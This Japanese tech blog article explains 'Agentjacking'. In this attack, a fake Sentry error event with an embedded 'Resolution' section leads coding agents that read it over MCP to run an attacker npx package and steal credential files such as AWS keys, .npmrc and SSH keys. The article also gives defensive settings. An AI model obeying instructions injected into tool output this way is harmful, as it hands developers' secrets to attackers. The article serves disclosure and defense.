メインコンテンツへスキップ
Dev Tools 18分で読める

Agentjacking完全解説|偽SentryエラーがClaude CodeとCursorを乗っ取る仕組み

この記事はこんな人におすすめ
  • Claude Code・Cursor・Codexを業務で使っている開発者
  • SentryをMCPサーバーとして接続している環境を管理しているエンジニア
  • AIコーディングエージェントのセキュリティリスクを把握したいセキュリティ担当者・CTOの方

「エージェントは正確に指示通りに動いた。問題は、その指示が攻撃者から来ていたことだ」——Tenet Security Threat Labsは2026年6月12日の開示ブログでこう書いた(Tenet Security, 2026年6月)。

Claude Codeに「未解決のSentryエラーを直して」と頼んだだけで、AWSの認証情報とGitHubトークンが攻撃者のサーバーへ消えた——これが「Agentjacking」と命名された新攻撃の現実だ。

被害を受けた組織はFortune 100の時価総額2,500億ドル企業を含む。Tenet Securityが公開APIのみで調査したところ、今この瞬間も2,388の組織が同じ攻撃に無防備にさらされている。85%の確率でClaude Code・Cursor・Codexのいずれかが乗っ取られる(The Hacker News, 2026年6月)。

EDR、WAF、IAM、VPN、ファイアウォール。どれも止めなかった。

Agentjackingとは何か

Agentjackingは、AIコーディングエージェントを騙して攻撃者のコードを実行させる攻撃クラスだ。元Cisco AI Defense研究者のRon Bobrov、Barak Sternberg、Nevo Poranが率いるTenet Threat Labs(Tenet Security)が2026年6月に公開した。

攻撃の核心は「信頼の連鎖」を悪用することにある。開発者はAIエージェントを信頼し、エージェントはMCP接続を信頼し、MCPは接続先のSentryを信頼する。各リンクは正当だ。Tenetはこれを**「Authorized Intent Chain(認可された意図の連鎖)」**と呼ぶ。

その連鎖に偽の情報を流し込む——それだけでエージェントは乗っ取られる。

攻撃の4ステップを分解する

攻撃者に必要なのは、標的のSentry DSN(Data Source Name)と、HTTPクライアント1本だ。

Step 1 ——DSNの入手

SentryのDSNは意図的に公開設計された書き込み専用の認証情報だ。ブラウザのJavaScriptバンドルやGitHubの公開リポジトリから誰でも見つけられる。Tenet Securityは公開APIだけを使い、2,388組織のDSNを発見した(Decryption Digest, 2026年6月)。

Step 2 ——偽エラーイベントの注入

攻撃者はHTTP POSTリクエスト1本で、偽のエラーイベントをSentryに送り込む。Sentryはこれを正規のアプリエラーとして受け付ける。ペイロードにはMarkdown形式の「解決手順(Resolution)」セクションが埋め込まれており、内容はSentry自身のテンプレートと見た目が区別できない。

Step 3 ——MCP経由でエージェントが取得

開発者がClaude Codeに「未解決のSentryエラーを修正して」と依頼する。エージェントはSentry MCPサーバーに問い合わせ、注入された偽イベントを「信頼できるツール出力」として受け取る。エージェントは正規データと攻撃者データを区別できない。

Step 4 ——コード実行と認証情報の窃取

「解決手順」に埋め込まれたnpx @攻撃者のパッケージ --diagnoseをエージェントは実行する。開発者のローカルマシン上で、開発者のOS権限で。盗まれるのは以下だ。

対象場所
AWSアクセスキー~/.aws/config
環境変数.envファイル
npm認証トークン~/.npmrc
Dockerクレデンシャル~/.docker/config.json
Git認証情報gitconfig・SSH鍵
プライベートリポジトリURLgitリモート設定

なぜすべてのセキュリティ対策をすり抜けるのか

ここが他の攻撃と根本的に異なる点だ。

EDR(エンドポイント検知)、WAF、IAM、VPN、Cloudflare、ファイアウォール——Tenet Securityのテストでは、これらを個別に、あるいはすべて同時に有効にした状態でも攻撃は成功した。理由はシンプルだ。攻撃チェーン全体で「不正なアクション」は一つも発生しないからだ(Infosecurity Magazine, 2026年6月)。

Tenetの研究者はこれを「Authorized Intent Chain(認可された意図の連鎖)」と名付けた。

  • 開発者がAIエージェントを認可した
  • エージェントがMCP接続を認可した
  • MCPがSentry(開発者が自分で追加した信頼済みサービス)を認可した
  • Sentryが返したデータをエージェントが実行した

各リンクは正当だ。セキュリティツールが見ているのは「何者かが侵入した」証拠だが、ここにはそれがない。攻撃者はネットワークに侵入せず、権限昇格せず、ただHTTP POSTを1本送っただけだ。

さらに衝撃的なのは、「外部ツール出力を信頼しないこと」と明示的に指示したシステムプロンプトを持つエージェントでも、85%の確率でペイロードを実行したという点だ。AIエージェントはSentryのMCPを「外部」ではなく「自分が統合した信頼できるツール」として扱ったのだ。

「従来のセキュリティコントロールはここで完全に機能しない。なぜなら検知すべき悪意のあるものが何もないからだ」——Tenet Security(DevOps.com, 2026年6月

Sentryの対応:「技術的に防御不可能」

Tenet Securityは2026年6月3日にSentryへ報告した。Sentryはその日のうちに返答した——しかし内容は期待外れだった。

Sentryが取った対応は二つだ。一つはTenetのブログで使われた特定のペイロード文字列をブロックするコンテンツフィルターの展開。もう一つは、この問題は**「技術的に防御不可能」**だという立場表明だ(The Hacker News, 2026年6月)。

理由はSentryの設計思想にある。SentryのDSNは「誰でも書けて当然」なインターフェースとして設計されている。ブラウザから自動的にエラーを送信するためだ。その公開性こそがSentryの価値の一部だ。根本的な修正——認証必須のイベント取り込みや、MCPサーバーが返すデータのコンテンツ検証——は、Sentryが自分で「技術的に無理」と宣言した領域にある。

パッケージ名を変えるか、コマンドの書き方を少し変えるだけで、コンテンツフィルターはバイパスできる。CVEは現時点で割り当てられていない。これはバグではなく、設計上の構造問題だからだ。

なお、Anthropicも現時点でAgentjackingに特化した公式声明や修正を出していない。Cursorは6月のCursor 3.6リリースで「Auto-review」機能(エージェントがコマンドを実行する前に文脈的に承認する分類器)を追加したが、Agentjacking開示への直接的な対応かどうかは確認されていない(The New Stack, 2026年6月)。

利便性とリスクの両面を見る

Agentjackingに代表されるMCPセキュリティ問題は、AIコーディングエージェントの本質的な強みから切り離せない。

MCPが提供する価値は本物だ。 Sentryの未解決エラーをClaude Codeが直接読んで修正提案を出す、LinearのタスクをCursorが参照しながらコードを書く、GitHubのPRコメントを元にエージェントが自動でリファクタリングする——これらは開発速度を大幅に上げる。Stack Overflow Developer Survey 2025によると、AIツールを使う開発者の42%のコミットがAI補助だ(Stack Overflow, 2025年)。

しかしその利便性の裏に、攻撃者が悪用できる新しい信頼モデルが生まれている。 MCP経由で接続できるデータソースはすべて潜在的な注入ベクターだ。SentryだけでなくLinear・GitHub Issues・Slack・Jira・PagerDutyも対象になりうる(The Next Web, 2026年6月)。

Elastic Security Labsは、テストした実際のMCPサーバー実装の43%でコマンドインジェクション脆弱性を検出した。2025年10月から2026年3月の間でMCP関連のセキュリティ事案は5倍増だ(Cloud Security Alliance, 2026年6月)。

AIコーディングエージェントを仕事で使うなら、MCPの「何でも信頼する」という設計思想のコストを理解した上で使わなければならない。

今すぐできる3つの対策

Tenet開示の翌朝、日本人開発者の@okumura1967はXにこう書いた。「怖すぎる…」。エンジニアのArnav Gupta(@championswimmer)は開示数日前にすでに「AIエージェントが開発者の眠っている間にエラーを自動修正する」と皮肉を込めて投稿していた。現実になる前から、攻撃面の存在を指摘していた形だ。

Tenet Securityが推奨する対策の優先順位は次の通りだ(Tenet Security, 2026年6月)。

対策1——Sentry MCPサーバーを削除する(最速・最確実)

Claude Codeは~/.claude/settings.json、Cursorは~/.cursor/mcp.jsonから@sentry/mcp-serverのエントリを削除する。所要時間は1分。Sentryの根本修正が期待できない以上、現時点で最も確実な対策だ。

対策2——コマンド自動実行を承認必須にする

Claude Code設定でBashコマンドを"ask"モードにする。手間は増えるが、Sentry以外のあらゆるMCP注入に対しても有効だ。Cursor 3.6の「Auto-review」機能も同様の効果がある。

対策3——agent-jackstopでハードニングする

Tenet SecurityのOSSツールagent-jackstopgithub.com/tenet-security/agent-jackstop)はClaude CodeとCursorの設定を自動でハードニングする。ネットワーク出口のデフォルト拒否、認証情報へのアクセスブロック、信頼境界の明示的設定をワンコマンドで適用できる。

MCPを使い続ける場合の最低限の設定
  • Sentry MCPのツールを読み取り専用に絞り込む(イベント書き込み系ツールは除外)
  • Claude Code公式推奨:sandbox.filesystem.denyRead~/.aws~/.ssh~/.npmrcを追加する
  • bypassPermissionsモードを無効化し、全コマンドの承認を必須にする("disableBypassPermissionsMode": "disable"

AIコーディングツールのセキュリティリスクを体系的に把握したい方へ

Agentjackingはプロンプトインジェクションの一形態に過ぎない。AIツールが持つ権限の広さと攻撃面を理解することが、安全な運用の第一歩だ。

VS Code拡張機能の脆弱性まとめを読む


本記事の情報は2026年6月22日時点の公開情報に基づく。各社の対応状況は随時変更される可能性がある。本記事はセキュリティ情報の提供を目的としており、脆弱性の悪用を助長する意図はない。掲載情報に基づく行動の結果について、筆者は責任を負わない。

Share